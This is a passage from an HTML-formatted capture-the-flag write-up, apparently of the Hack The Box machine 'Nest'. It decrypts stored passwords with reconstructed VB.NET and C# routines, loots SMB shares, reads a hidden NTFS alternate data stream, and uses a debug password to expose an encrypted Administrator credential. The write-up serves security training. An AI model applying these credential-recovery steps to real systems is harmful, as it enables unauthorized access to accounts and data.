        &lt;span class=&quot;n&quot;&gt;keyBytes&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;password&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GetBytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;CInt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;keySize&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;/&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;Dim&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;symmetricKey&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;New&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;AesCryptoServiceProvider&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;symmetricKey&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Mode&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;CipherMode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;CBC&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;Dim&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;decryptor&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ICryptoTransform&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;decryptor&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;symmetricKey&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;CreateDecryptor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;keyBytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;initVectorBytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;Dim&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;memoryStream&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;IO&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;MemoryStream&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;memoryStream&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;New&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;IO&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;MemoryStream&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cipherTextBytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;Dim&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;cryptoStream&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;CryptoStream&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;cryptoStream&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;New&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;CryptoStream&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;memoryStream&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_&lt;/span&gt;
                                        &lt;span class=&quot;n&quot;&gt;decryptor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_&lt;/span&gt;
                                        &lt;span class=&quot;n&quot;&gt;CryptoStreamMode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;Dim&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;plainTextBytes&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;Byte&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;ReDim&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;plainTextBytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cipherTextBytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;Dim&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;decryptedByteCount&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;Integer&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;decryptedByteCount&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cryptoStream&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;plainTextBytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_&lt;/span&gt;
                                               &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_&lt;/span&gt;
                                               &lt;span class=&quot;n&quot;&gt;plainTextBytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

        &lt;span class=&quot;n&quot;&gt;memoryStream&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Close&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;cryptoStream&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Close&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;Dim&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;plainText&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;String&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;plainText&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Encoding&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ASCII&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GetString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;plainTextBytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_&lt;/span&gt;
                                            &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_&lt;/span&gt;
                                            &lt;span class=&quot;n&quot;&gt;decryptedByteCount&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;Return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;plainText&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;End&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;Function&lt;/span&gt;

	&lt;span class=&quot;k&quot;&gt;Public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;Sub&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;Main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;Dim&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;plain&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;String&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;plain&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;DecryptString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
		&lt;span class=&quot;nb&quot;&gt;Console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;WriteLine&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;plain&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;End&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;Sub&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;End&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;Module&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Note that the DecryptString receive the parameter from RU_Config.xml&lt;/p&gt;

&lt;p&gt;Running it on dotnetfiddle we get: “xRxRxPANCAK3SxRxRx”, therefore user c.smith must have this password. Trying to  list everything with this new user:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;smbmap &lt;span class=&quot;nt&quot;&gt;-H&lt;/span&gt; 10.10.10.178 &lt;span class=&quot;nt&quot;&gt;-R&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--depth&lt;/span&gt; 10 &lt;span class=&quot;nt&quot;&gt;-p&lt;/span&gt; xRxRxPANCAK3SxRxRx &lt;span class=&quot;nt&quot;&gt;-u&lt;/span&gt; C.Smith&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;We will see some different files on his folder and the user flag. Download everything again.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;smbget &lt;span class=&quot;nt&quot;&gt;-R&lt;/span&gt; smb://10.10.10.178/Users/C.Smith &lt;span class=&quot;nt&quot;&gt;-U&lt;/span&gt; c.smith
Password &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;c.smith] connecting to //Users/10.10.10.178: 
Using workgroup WORKGROUP, user c.smith
smb://10.10.10.178/Users/C.Smith/HQK Reporting/AD Integration Module/HqkLdap.exe                                                          
smb://10.10.10.178/Users/C.Smith/HQK Reporting/Debug Mode Password.txt                               
smb://10.10.10.178/Users/C.Smith/HQK Reporting/HQK_Config_Backup.xml                              
smb://10.10.10.178/Users/C.Smith/user.txt                                
Downloaded 17.27kB &lt;span class=&quot;k&quot;&gt;in &lt;/span&gt;12 seconds&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Debug mode password.txt is empty which is weird lets try to get more information about it.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;smbclient &lt;span class=&quot;nt&quot;&gt;-H&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\\\\&lt;/span&gt;10.10.10.178&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;Users/ &lt;span class=&quot;nt&quot;&gt;-U&lt;/span&gt; c.smith
directory_create_or_exist: &lt;span class=&quot;nb&quot;&gt;mkdir &lt;/span&gt;failed on directory /run/samba/msg.lock: Permission denied
Unable to initialize messaging context
Enter WORKGROUP&lt;span class=&quot;se&quot;&gt;\c&lt;/span&gt;.smith&lt;span class=&quot;s1&quot;&gt;'s password: 
Try &quot;help&quot; to get a list of possible commands.
smb: \&amp;gt; cd C.Smith
dirsmb: \C.Smith\&amp;gt; dir
  .                                   D        0  Sun Jan 26 02:21:44 2020
  ..                                  D        0  Sun Jan 26 02:21:44 2020
  HQK Reporting                       D        0  Thu Aug  8 19:06:17 2019
  user.txt                            A       32  Thu Aug  8 19:05:24 2019
cd 
                10485247 blocks of size 4096. 6543375 blocks available
smb: \C.Smith\&amp;gt; cd HQK Reporting\
cd \C.Smith\HQK\: NT_STATUS_OBJECT_NAME_NOT_FOUND
smb: \C.Smith\&amp;gt; cd &quot;HQK Reporting&quot; 
smb: \C.Smith\HQK Reporting\&amp;gt; dir
  .                                   D        0  Thu Aug  8 19:06:17 2019
  ..                                  D        0  Thu Aug  8 19:06:17 2019
  AD Integration Module               D        0  Fri Aug  9 08:18:42 2019
  Debug Mode Password.txt             A        0  Thu Aug  8 19:08:17 2019
  HQK_Config_Backup.xml               A      249  Thu Aug  8 19:09:05 2019

                10485247 blocks of size 4096. 6543375 blocks available
smb: \C.Smith\HQK Reporting\&amp;gt; allinfo &quot; Debug Mode Password.txt&quot;
NT_STATUS_OBJECT_NAME_NOT_FOUND getting alt name for \C.Smith\HQK Reporting\ Debug Mode Password.txt
smb: \C.Smith\HQK Reporting\&amp;gt; allinfo &quot;Debug Mode Password.txt&quot;
altname: DEBUGM~1.TXT
create_time:    Thu Aug  8 07:06:12 PM 2019 EDT
access_time:    Thu Aug  8 07:06:12 PM 2019 EDT
write_time:     Thu Aug  8 07:08:17 PM 2019 EDT
change_time:    Thu Aug  8 07:08:17 PM 2019 EDT
attributes: A (20)
stream: [::$DATA], 0 bytes
stream: [:Password:$DATA], 15 bytes
smb: \C.Smith\HQK Reporting\&amp;gt; &lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;It has another stream of data called Password. Let’s download it:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;smb: get &lt;span class=&quot;s2&quot;&gt;&quot;Debug Mode Password.txt&quot;&lt;/span&gt;:password
getting file &lt;span class=&quot;se&quot;&gt;\C&lt;/span&gt;.Smith&lt;span class=&quot;se&quot;&gt;\H&lt;/span&gt;QK Reporting&lt;span class=&quot;se&quot;&gt;\D&lt;/span&gt;ebug Mode Password.txt:password of size 15 as Debug Mode Password.txt:password &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;0.0 KiloBytes/sec&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;average 0.0 KiloBytes/sec&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Cat it we see: “WBQ201953D8w”&lt;/p&gt;

&lt;p&gt;Dope. Another password. Let’s go back to HQK.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;telnet 10.10.10.178 4386
Trying 10.10.10.178...
Connected to 10.10.10.178.
Escape character is &lt;span class=&quot;s1&quot;&gt;'^]'&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;

HQK Reporting Service V1.2

&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;debug xRxRxPANCAK3SxRxRx

Invalid password entered
&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;debug WBQ201953D8w

Debug mode enabled. Use the HELP &lt;span class=&quot;nb&quot;&gt;command &lt;/span&gt;to view additional commands that are now available
&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;session

&lt;span class=&quot;nt&quot;&gt;---&lt;/span&gt; Session Information &lt;span class=&quot;nt&quot;&gt;---&lt;/span&gt;

Session ID: 26ecec2e-c357-4860-8f29-d8045141cb6a
Debug: True
Started At: 6/2/2020 4:19:47 AM
Server Endpoint: 10.10.10.178:4386
Client Endpoint: 10.10.16.87:33366
Current Query Directory: C:&lt;span class=&quot;se&quot;&gt;\P&lt;/span&gt;rogram Files&lt;span class=&quot;se&quot;&gt;\H&lt;/span&gt;QK&lt;span class=&quot;se&quot;&gt;\A&lt;/span&gt;LL QUERIES

&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;setdir ..

Current directory &lt;span class=&quot;nb&quot;&gt;set &lt;/span&gt;to HQK
&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;list

Use the query ID numbers below with the RUNQUERY &lt;span class=&quot;nb&quot;&gt;command &lt;/span&gt;and the directory names with the SETDIR &lt;span class=&quot;nb&quot;&gt;command

 &lt;/span&gt;QUERY FILES IN CURRENT DIRECTORY

&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;DIR]  ALL QUERIES
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;DIR]  LDAP
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;DIR]  Logs
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;1]   HqkSvc.exe
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;2]   HqkSvc.InstallState
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;3]   HQK_Config.xml

Current Directory: HQK
&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;cd &lt;/span&gt;LDAP

Unrecognised &lt;span class=&quot;nb&quot;&gt;command&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;setdir LDAP

Current directory &lt;span class=&quot;nb&quot;&gt;set &lt;/span&gt;to LDAP
&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;list

Use the query ID numbers below with the RUNQUERY &lt;span class=&quot;nb&quot;&gt;command &lt;/span&gt;and the directory names with the SETDIR &lt;span class=&quot;nb&quot;&gt;command

 &lt;/span&gt;QUERY FILES IN CURRENT DIRECTORY

&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;1]   HqkLdap.exe
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;2]   Ldap.conf

Current Directory: LDAP
&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;showquery 2

&lt;span class=&quot;nv&quot;&gt;Domain&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;nest.local
&lt;span class=&quot;nv&quot;&gt;Port&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;389
&lt;span class=&quot;nv&quot;&gt;BaseOu&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;OU&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;WBQ Users,OU&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;Production,DC&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;nest,DC&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;local
&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;User&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;Administrator
&lt;span class=&quot;nv&quot;&gt;Password&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;yyEq0Uvvhq2uQOcWG8peLoeRQehqip/fKdeG/kjEVb4&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;This was a bit lucky, I had to navigate with setdir/list in debug mode to understand and find this Ldap.conf file. Once again, we have it encrypted and we found the .exe before so this might be another VB program, so maybe trying to decompile it with https://github.com/icsharpcode/AvaloniaILSpy - If you have trouble to install it check &lt;a href=&quot;/2020/06/18/install-avalonia-ilspy.html&quot;&gt;installing Avalonia ILSpy&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;If you decompile it with AvaloniaILSpy using the .exe as input looking on main module you will see:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-vb&quot; data-lang=&quot;vb&quot;&gt;	&lt;span class=&quot;n&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;text&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;StartsWith&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Password=&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;StringComparison&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;CurrentCultureIgnoreCase&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;ldapSearchSettings&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Password&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;CR&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;DS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;text&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Substring&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;text&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;IndexOf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;c1&quot;&gt;'=') + 1));&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;This seems the function being used to decrypt the password CR.DS. You can check what happens on CR. Now, if we build our own version:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-vb&quot; data-lang=&quot;vb&quot;&gt;&lt;span class=&quot;n&quot;&gt;using&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;System&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;using&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;System&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;IO&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;using&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;System&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Security&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Cryptography&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;using&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;System&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Text&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;CR&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;K&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;667912&quot;&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;;&lt;/span&gt;

	&lt;span class=&quot;n&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;I&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;1L1SA61493DRV53Z&quot;&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;;&lt;/span&gt;

	&lt;span class=&quot;n&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SA&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;1313Rf99&quot;&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;;&lt;/span&gt;

	&lt;span class=&quot;n&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;DS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;EncryptedString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;IsNullOrEmpty&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;EncryptedString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
		&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
			&lt;span class=&quot;n&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Empty&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;;&lt;/span&gt;
		&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
